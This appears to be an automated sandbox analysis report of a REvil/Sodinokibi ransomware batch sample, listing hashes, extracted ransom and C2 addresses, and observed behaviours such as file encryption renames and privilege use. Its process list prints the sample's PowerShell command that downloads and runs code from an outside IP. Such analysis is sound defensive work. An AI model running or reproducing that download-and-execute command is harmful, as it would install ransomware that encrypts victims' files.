Analysis
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max time kernel
122s -
max time network
125s -
platform
windows10_x64 -
resource
win10 -
submitted
22-08-2020 07:10
Static task
static1
Behavioral task
behavioral1
Sample
d011698f0a0292375484c2ce503fd5f4.bat
Resource
win7v200722
Behavioral task
behavioral2
Sample
d011698f0a0292375484c2ce503fd5f4.bat
Resource
win10
General
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Target
d011698f0a0292375484c2ce503fd5f4.bat
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Size
221B
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MD5
2620ae9cab8fc22007e8184ba8972c49
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SHA1
fa1095550cb3150a7cadd676bb594e5c60060a2c
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SHA256
6031919615418117acd8af53074b43ca886e452074663ea10765ae56ff83b813
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SHA512
8a2b0c4537d60159956ce3edf73f136ee9bd2c7194b0a0dbed17c234df0a8bb5a0effb21752bd9d6d5c7b87e43ae50f7e6fb58e613a9e61533b0b7274dfe8ebe
Malware Config
Extracted
http://185.103.242.78/pastes/d011698f0a0292375484c2ce503fd5f4
Extracted
C:\8g4frqd169-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/09D8D1069D6958FB
http://decryptor.cc/09D8D1069D6958FB
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 1 3860 powershell.exe -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File renamed C:\Users\Admin\Pictures\CheckpointCopy.crw => \??\c:\users\admin\pictures\CheckpointCopy.crw.8g4frqd169 powershell.exe File renamed C:\Users\Admin\Pictures\OpenStep.raw => \??\c:\users\admin\pictures\OpenStep.raw.8g4frqd169 powershell.exe File renamed C:\Users\Admin\Pictures\SaveStart.png => \??\c:\users\admin\pictures\SaveStart.png.8g4frqd169 powershell.exe File renamed C:\Users\Admin\Pictures\UninstallDismount.png => \??\c:\users\admin\pictures\UninstallDismount.png.8g4frqd169 powershell.exe File opened for modification \??\c:\users\admin\pictures\LimitResolve.tiff powershell.exe File renamed C:\Users\Admin\Pictures\LimitResolve.tiff => \??\c:\users\admin\pictures\LimitResolve.tiff.8g4frqd169 powershell.exe -
Enumerates connected drives 3 TTPs
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Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\nh42.bmp" powershell.exe -
Drops file in Program Files directory 24 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\StopUndo.potm powershell.exe File opened for modification \??\c:\program files\InstallBlock.wmf powershell.exe File opened for modification \??\c:\program files\InvokeEdit.ttf powershell.exe File opened for modification \??\c:\program files\ResetUnregister.DVR powershell.exe File opened for modification \??\c:\program files\ResumeLock.mht powershell.exe File opened for modification \??\c:\program files\SaveOut.css powershell.exe File opened for modification \??\c:\program files\StopStart.dwfx powershell.exe File created \??\c:\program files (x86)\8g4frqd169-readme.txt powershell.exe File opened for modification \??\c:\program files\DebugStart.edrwx powershell.exe File opened for modification \??\c:\program files\EnterOptimize.m1v powershell.exe File opened for modification \??\c:\program files\WriteNew.wvx powershell.exe File opened for modification \??\c:\program files\MountStop.easmx powershell.exe File opened for modification \??\c:\program files\SearchApprove.mov powershell.exe File opened for modification \??\c:\program files\ApprovePublish.m4a powershell.exe File opened for modification \??\c:\program files\ConnectTest.ogg powershell.exe File opened for modification \??\c:\program files\DebugDisconnect.otf powershell.exe File opened for modification \??\c:\program files\DebugGet.001 powershell.exe File opened for modification \??\c:\program files\InitializeEnable.cfg powershell.exe File opened for modification \??\c:\program files\MergeBlock.mpv2 powershell.exe File opened for modification \??\c:\program files\UninstallMerge.ini powershell.exe File created \??\c:\program files\8g4frqd169-readme.txt powershell.exe File opened for modification \??\c:\program files\ApproveConvert.au powershell.exe File opened for modification \??\c:\program files\OutWatch.aifc powershell.exe File opened for modification \??\c:\program files\ResetStep.vsx powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 3860 powershell.exe 3860 powershell.exe 3860 powershell.exe 3860 powershell.exe 3860 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3860 powershell.exe Token: SeDebugPrivilege 3860 powershell.exe Token: SeTakeOwnershipPrivilege 3860 powershell.exe Token: SeBackupPrivilege 3920 vssvc.exe Token: SeRestorePrivilege 3920 vssvc.exe Token: SeAuditPrivilege 3920 vssvc.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 976 wrote to memory of 3860 976 cmd.exe powershell.exe PID 976 wrote to memory of 3860 976 cmd.exe powershell.exe PID 976 wrote to memory of 3860 976 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\d011698f0a0292375484c2ce503fd5f4.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/d011698f0a0292375484c2ce503fd5f4');Invoke-HGSGRZQUHJGJQK;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3860
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3920